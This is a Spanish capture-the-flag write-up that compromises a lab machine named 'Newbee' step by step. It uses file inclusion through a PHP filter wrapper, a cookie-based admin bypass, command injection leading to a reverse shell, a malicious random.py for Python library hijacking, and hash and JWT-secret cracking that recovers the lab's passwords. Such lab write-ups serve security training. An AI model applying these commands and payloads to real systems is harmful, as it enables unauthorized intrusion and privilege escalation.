Enumeración de servicios
El objetivo expone SSH y una aplicación PHP sobre Apache:
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.7
...
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: PHPJabbers.com | Free Food Store Website Template
...PHP Filter Wrapper Source Disclosure
Gobuster descubre secret.php, una consola restringida a administradores. Al fuzzear nombres de parámetros GET en index.php, la variación de tamaño revela el parámetro hack:
❯ ffuf -u 'http://192.168.1.7/index.php?FUZZ=../../../../../../etc/passwd' -w directory-list-2.3-medium.txt -fs 18852
hack [Status: 200, Size: 18864, ...]Una ruta convencional no devuelve directamente el archivo solicitado, pero un PHP Filter Wrapper transforma su contenido a Base64 antes de que la inclusión lo procese. Esto permite recuperar el código fuente de secret.php sin ejecutarlo:
❯ curl 'http://192.168.1.7/index.php?hack=php://filter/convert.base64-encode/resource=secret.php'
...
PCFET0NUWVBFIGh...aHRtbD4NCg==<!-- include failed try another file -->Broken Access Control y OS Command Injection
El código fuente muestra que la autorización depende únicamente de una cookie controlada por el cliente:
if (isset($_COOKIE['AreYouAdmin']) && $_COOKIE['AreYouAdmin'] === 'Yes') {Al enviar AreYouAdmin=Yes superamos el control de acceso y alcanzamos la función vulnerable a OS Command Injection. La reverse shell resultante se ejecuta como www-data:
❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.7:51638.
www-data@Newbee:/var/www/html/shop$Python Library Hijacking
La política de sudo permite ejecutar /var/www/html/vuln.py como debian:
www-data@Newbee:/var/www/html/shop$ sudo -l
...
User www-data may run the following commands on Newbee:
(debian) NOPASSWD: /usr/bin/python3 /var/www/html/vuln.pyRealizamos Python Library Hijacking mediante el sombreado del módulo random. Al importar dependencias, Python considera el directorio del script antes que varias ubicaciones del sistema; como podemos escribir allí, un random.py malicioso suplanta la biblioteca esperada y se ejecuta con los privilegios de debian:
www-data@Newbee:/var/www/html$ cat random.py
import os
os.system("/bin/bash")
www-data@Newbee:/var/www/html$ sudo -u debian /usr/bin/python3 /var/www/html/vuln.py
debian@Newbee:/var/www/html$La importación entrega una shell como debian. Tras preparar acceso persistente mediante authorized_keys, encontramos password.zip y una pista que define su contraseña como md5(key):
debian@Newbee:~/.secret$ cat hint.txt
password is md5(key)
and key is in mysql!!!!!!Ruta 1: depixelization
Convertimos cada candidato de RockYou a MD5 y usamos los resultados como diccionario, porque el ZIP espera md5(key). Tras abrirlo, procesamos la imagen pixelada con Depixelization_poc; el texto recuperado se normaliza sin espacios para probarlo como contraseña de root:
❯ john -w=/home/wh01s17/Documentos/wordlists/rockyou_md5.txt zip_hash
...
1c63129ae9db9c60c3e8aa94d3e00495 (password.zip/password.png)
...
debian@Newbee:~$ su root
Password: hellofromtheotherside
root@Newbee:/home/debian#Ruta 2: Weak JWT Secret y MySQL
Como alternativa, el host ejecuta un message board local en el puerto 5000. Lo exponemos mediante port forwarding y, después de iniciar sesión, recuperamos un token firmado con un Weak JWT Secret. Hashcat encuentra el secreto noob, lo que permite generar firmas válidas:
❯ ssh -L 5000:127.0.0.1:5000 -i id_rsa debian@192.168.1.7
❯ hashcat -m 16500 'eyJ...VVmk' /home/wh01s17/Documentos/wordlists/rockyou.txt
...
:noob
...Con el secreto forjamos un JWT de admin y accedemos a un mensaje que contiene las credenciales de MySQL:
admin
Mysql account: root:TheStrongestPasswordHYHcreatedLa base de datos almacena el hash PBKDF2 de debian. Al recuperar el valor 1qaz2wsx obtenemos el key mencionado en la pista; su MD5 coincide exactamente con la contraseña del ZIP hallada en la primera ruta:
❯ hashcat -m 10900 -a 0 hash_db /home/wh01s17/Documentos/wordlists/rockyou.txt
...
:1qaz2wsx
...
❯ echo -n "1qaz2wsx" | md5sum
1c63129ae9db9c60c3e8aa94d3e00495Ambas rutas convergen en la misma imagen y en la misma contraseña de root. El prompt privilegiado ya mostrado confirma el resultado, por lo que damos por completada la máquina.